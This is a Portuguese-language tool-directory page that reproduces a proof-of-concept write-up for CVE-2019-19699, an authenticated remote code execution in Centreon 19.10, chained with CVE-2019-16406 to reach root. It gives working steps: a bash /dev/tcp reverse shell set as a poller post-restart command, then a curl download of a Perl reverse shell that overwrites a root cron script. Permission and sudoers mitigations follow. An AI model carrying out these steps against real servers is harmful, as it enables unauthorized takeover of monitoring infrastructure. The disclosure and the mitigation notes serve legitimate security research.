Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2019-19699 — Centreon =<19.10 RCE Autenticado | Kitploit
Ferramentas/GitHubGitHub/spengesec/cve-2019-19699
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubspengesec/cve-2019-19699

CVE-2019-19699

Centreon =<19.10 RCE Autenticado

Ver Repositório
315há 6 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2019-19699

Centreon =< 19.10

Prova de Conceito

  1. Execução Remota de Código autenticada (CVE-2019-19699)
  2. Escalada de privilégios (Passo a passo e Mitigação)

Descoberto por:

SpengeSec (Guylian Dw)

TheCyberGeek (Matthew B)

Execução Remota de Código Autenticada:

Vamos começar fazendo login como usuário Admin no painel web do Centreon.

Após o login, navegamos até Configuração > Comandos > Diversos

Em seguida, clique em Adicionar, conforme mostrado na imagem abaixo.

Agora criamos um reverse shell bash como nosso comando Diversos

root@kitploit:~
#!/bin/bash
bash -i >& /dev/tcp/{IP}/{PORT} 0>&1

E clique em Salvar

Agora navegamos até Configuração > Pollers e clicamos no nosso poller Central atual

Isso nos dá acesso ao menu Modificar configuração do poller

Aqui podemos rolar para baixo e definir um comando pós-reinício

Em seguida, selecione o reverse shell que criamos anteriormente e clique no botão Salvar

Agora podemos iniciar o listener Netcat em nossa máquina local

Por fim, clicamos no botão Exportar configuração no menu Configuração > Pollers

  1. Selecione o nosso poller Central na caixa suspensa Pollers

  2. Desmarque as caixas de seleção Gerar arquivos de configuração e Executar depuração do mecanismo de monitoramento (-v)

  3. Marque as caixas de seleção Reiniciar mecanismo de monitoramento e Comando pós-geração

  4. Selecione Reiniciar na caixa suspensa Método

Ao clicar em Exportar, o Poller será reiniciado e, assim, executará o Comando Pós-Reinício que configuramos anteriormente É neste momento que nosso listener do reverse shell receberá uma conexão

A Execução Remota de Código autenticada foi bem-sucedida!

(Este foi o write-up para CVE-2019-19699)

A partir daqui, passamos a obter Root

Vamos usar o CVE-2019-16406 encontrado por TheCyberGeek para comprometer totalmente o servidor Centreon =< 19.10

Vamos começar gerando um shell TTY no nosso terminal atual do reverse shell

python -c 'import pty; pty.spawn("/bin/sh")'

Agora vamos ver quais tarefas cron existem executando cat /etc/cron.d/*

Agora vemos que centreon_autodisc.pl é uma tarefa Cron

(Foi alterado de 30 22 * * * root para * * * * * root para fins de demonstração)

Isso é executado como Root; vamos substituir o centreon_autodisco.pl por um reverse shell em Perl

O shell Perl que usarei pode ser baixado aqui

Baixe o reverse shell e edite o endereço IP e a porta para os seus, conforme explicado na página da web

Execute um mv para renomear o arquivo perl-reverse-shell.pl para centreon_autodisco.pl localmente

Vamos iniciar um SimpleHTTPServer local em uma porta de sua escolha

Dessa forma, podemos curl http://{local_ip}:{port}/centreon_autodisco.pl -o /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl para substituir o centreon_autodisco.pl existente pelo nosso cavalo de troia reverse shell em Perl

Agora que o arquivo foi substituído, tudo o que resta fazer é iniciar um listener Netcat na porta que configuramos anteriormente, e receberemos uma conexão de volta do servidor como usuário Root!

O acesso ao sistema como Root foi bem-sucedido!

Agora, as notas sobre como achamos que a escalada de privilégios deve ser mitigada!

Configurações atuais no 19.10:

root@kitploit:~
#####################################
# Centreon Auto Discovery
#

30 22 * * * root ls -la --config='/etc/centreon/conf.pm' --config-extra='/etc/centreon/centreon_autodisco.pm' --severity=error >> /var/log/centreon/centreon_auto_discovery.log 2>&1
* * * * * centreon /opt/rh/rh-php72/root/usr/bin/php /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php >> /var/log/centreon/centreon_host_discovery.log 2>&1

File Permissions:
-rwxr-xr-x 1 apache apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rw-r--r-- 1 apache apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
-rwsrwxr-x 1 root root 7240 Aug 11  2017 /usr/lib/centreon/plugins/cwrapper_perl

Mitigação para /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

ls -la who

-rwxr-xr-x 1 root apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

Como você pode ver, agora ele pertence ao Root; o grupo apache pode apenas ler e executar; o centreon pode apenas executar; portanto, isso não afeta a funcionalidade.

Exemplo:

bash-4.2$ whoami

apache

bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php: Permission denied Mas o apache ainda pode executá-lo.

Mitigação para /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

ls -la /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

-rwxr-xr-x 1 root apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

Como você pode ver, agora ele pertence ao Root; o grupo apache pode apenas ler e executar; o centreon pode apenas executar; portanto, isso não afeta a funcionalidade.

Exemplo:

bash-4.2$ whoami

apache

bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl: Permission denied Mas o apache ainda pode executá-lo.

Mitigação para /usr/lib/centreon/plugins/cwrapper_perl

Use comandos sudo definindo scripts específicos que precisam ser executados por cada usuário.

Faça o root ser o dono de cada script perl para que os usuários não possam alterar ou substituir o script para escalada de privilégios.

chmod 755 /usr/lib/centreon/plugins/cwrapper_perl

ls -la /usr/lib/centreon/plugins/cwrapper_perl

-rwxr-xr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl

Agora os usuários não podem mais alterar ou substituir o script!

Exemplo:

cat /etc/sudoers

...

## Allow root to run any commands anywhere

root ALL=(ALL) ALL

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script1.pl

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script2.pl

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script3.pl

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script4.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts1.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts2.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts3.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts4.pl

...

---End of Sudoers---

ls -la example_script1.pl

-rwxr-xr-x 1 root centreon 173 Dec 15 11:09 example_script1.pl

ls -la examle_scripts1.pl

-rwxr-xr-x 1 root apache 173 Dec 15 11:09 example_script1.pl

Os usuários ainda podem executar os scripts necessários e os scripts não podem ser alterados por apache ou centreon, eliminando assim completamente a ameaça de segurança para a escalada de privilégios.

Se um invasor entrar agora na máquina, assumir o controle total dela seria muito difícil ou impossível, a menos que mais ameaças sejam descobertas.

Para o usuário Centreon, a única escalada de privilégios que encontramos foi o cwrapper para perl; portanto, se o pós-reinício fosse executado pelo usuário centreon e um invasor obtivesse um shell como usuário centreon, praticamente não restaria mais superfície de ataque.

Obrigado por ler

Baixar ferramenta